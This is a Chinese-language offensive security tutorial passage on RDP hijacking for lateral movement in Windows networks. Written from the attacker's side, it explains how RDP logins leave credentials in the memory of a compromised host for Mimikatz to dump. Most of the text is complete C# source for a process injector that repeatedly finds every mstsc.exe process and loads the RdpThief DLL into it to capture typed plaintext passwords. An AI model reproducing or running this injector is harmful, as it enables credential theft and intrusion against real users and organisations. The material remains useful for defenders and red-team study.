RDP 劫持
在 Windows 系统中,远程桌面能提供 GUI 的远程访问,在企业环境里使用极多,对于攻击者而言也是一种天然的横向移动的方式。如果我们已经拥有了受害用户的明文密码,并且受害用户是其他主机的本地管理员或者是 Remote Desktop Users 组成员,那么我们便可使用 mstsc.exe,即 RDP 客户端远程访问。在 Linux 平台,我们可以使用工具 xfreerdp 或者 rdesktop。
RDP 远程登陆是典型的交互式认证情景,交互式登陆需要明文密码,那也意味着,如果受害用户使用 RDP 登录到已经被入侵的主机上,凭证会留在被入侵的主机的内存之中,并且即便断开连接也不会让凭证消失。进而攻击者可以通过 Mimikatz 之类的工具导出凭证。我们甚至可以利用 RdpThief (https://github.com/0x09AL/RdpThief) 以及 Win32 编程实现窃取明文密码,代码如下:
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
String dllName = "C:\\windows\\tasks\\RdpThief.dll"; //Download from https://github.com/0x09AL/RdpThief
while(true)
{
Process[] mstscProc = Process.GetProcessesByName("mstsc");
if(mstscProc.Length > 0)
{
for(int i = 0; i < mstscProc.Length; i++)
{
int pid = mstscProc[i].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
Thread.Sleep(1000);
}
}
}
}
该代码寻找所有的 RDP 进程,并载入 RdpThief 动态链接库文件。RdpThief 通过 API Hooking 实现了当 RDP 消息框弹出式,窃取输入的账号密码。
我们在之前章节提到过受限管理员模式,可以解决凭证窃取的问题,但也可以让攻击者在不知道当前用户的明文密码的情况下访问该用户可 RDP 访问的其他主机。